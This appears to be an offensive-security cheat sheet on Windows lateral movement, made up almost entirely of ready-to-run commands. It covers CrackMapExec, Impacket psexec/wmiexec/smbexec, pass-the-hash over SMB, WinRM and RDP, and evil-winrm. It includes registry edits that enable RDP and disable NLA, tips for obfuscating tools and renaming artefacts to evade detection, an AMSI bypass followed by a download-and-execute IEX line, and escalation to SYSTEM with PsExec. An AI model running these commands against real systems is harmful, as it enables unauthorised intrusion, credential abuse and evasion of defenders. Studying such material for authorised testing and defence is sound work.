Crackmapexec

Using Porchetta-Industries/CrackMapExec

  • CrackMapExec supports many protocols
    crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" 
    crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
    
  • CrackMapExec works with password, NT hash and Kerberos authentication
    crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
    crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
    export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos
    

Impacket

From fortra/impacket (⚠️ renamed to impacket-xxxxx in Kali)
⚠️ get / put for wmiexec, psexec, smbexec, and dcomexec are changing to lget and lput.
⚠️ French characters might not be correctly displayed on your output, use -codec ibm850 to fix this.
⚠️ By default, Impacket's scripts are stored in the examples folder: impacket/examples/psexec.py.

All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports. The following table summarize the port used by each scripts.

Method Port Used
psexec.py tcp/445
smbexec.py tcp/445
atexec.py tcp/445
dcomexec.py tcp/135, tcp/445, tcp/49751 (DCOM)
wmiexec.py tcp/135, tcp/445, tcp/50911 (Winmgmt)
  • psexec: equivalent of Windows PSEXEC using RemComSvc binary.
    psexec.py DOMAIN/username:password@10.10.10.10
    
  • smbexec: a similar approach to PSEXEC w/o using RemComSvc
    smbexec.py DOMAIN/username:password@10.10.10.10
    
  • atexec: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
    atexec.py DOMAIN/username:password@10.10.10.10
    
  • dcomexec: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints
    dcomexec.py DOMAIN/username:password@10.10.10.10
    
  • wmiexec: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.
    wmiexec.py DOMAIN/username:password@10.10.10.10
    wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    

PSExec

PSExec default kavika13/RemCom binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections snovvcrash/RemComObf.sh

Use a custom binary and service name with : psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe

Also a custom file can be specified with the parameter : -file /tmp/RemComSvcCustom.exe.
You need to update the pipe name to match "Custom_communication" in the line 163
fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)

WMIExec

Use a non default share -share SHARE to write the output to reduce the detection.
By default this command is executed : cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1

RDP Remote Desktop Protocol

⚠️ NOTE: You may need to enable RDP and disable NLA and fix CredSSP errors.

# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Abuse RDP protocol to execute commands remotely with the following commands;

  • rdesktop
    root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
    root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
    # -g : the screen will take up 70% of your actual screen size
    # -r disk:share : sharing a local folder during a remote desktop session 
    
  • freerdp
    root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
    root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
    
    # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
    # pass the hash works for Server 2012 R2 / Win 8.1+
    # require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
    root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d  
    
  • SharpRDP
    PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
    

Powershell Remoting Protocol

Powershell Credentials

PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)

Powershell PSSESSION

  • Enable PSRemoting on the host

    Enable-PSRemoting -Force
    net start winrm  
    
    # Add the machine to the trusted hosts
    Set-Item wsman:\localhost\client\trustedhosts *
    Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"
    
  • Execute a single command

    PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
    PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
    PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
    
  • Interact with a PS Session

    PS> Enter-PSSession -computerName DC01
    [DC01]: PS>
    
    # one-to-one execute scripts and commands
    PS> $Session = New-PSSession -ComputerName CLIENT1
    PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
    PS> Invoke-Command -Session $Session -scriptBlock { $test }
    1
    

Powershell Secure String

$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted

WinRM Protocol

Requirements:

  • Port 5985 or 5986 open.
  • Default endpoint is /wsman

If WinRM is disabled on the system you can enable it using: winrm quickconfig

The easiest way to interact over WinRM on Linux is with Hackplayers/evil-winrm

evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i 10.0.0.20 -u username -H HASH
evil-winrm -i 10.0.0.20 -u username -p password -r domain.local

*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

WMI Protocol

PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

SSH Protocol

⚠️ You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)

cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv

Other methods

PsExec - Sysinternal

From Windows - Sysinternal

PS C:\> PsExec.exe  \\srv01.domain.local -u DOMAIN\username -p password cmd.exe

# switch admin user to NT Authority/System
PS C:\> PsExec.exe  \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s 

Mount a remote share

PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$

Runas as another user

Runas is a command-line tool that is built into Windows Vista. Allows a user to run specific tools and programs with different permissions than the user's current logon provides.

PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
